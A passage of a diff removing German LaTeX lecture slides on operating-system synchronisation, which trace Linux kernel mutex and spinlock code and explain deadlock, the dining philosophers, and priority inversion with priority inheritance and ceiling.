-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.7cm]{pathfinder.jpg}
-      \vspace*{-1.5cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-
-      \only<3->{%
-        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
-        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-%      }
-      \put(0,1){\line(1,0){10}}
-
-%      \only<1>{%
-%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-%      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
-%      \only<2>{%
-        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
-        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-%      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
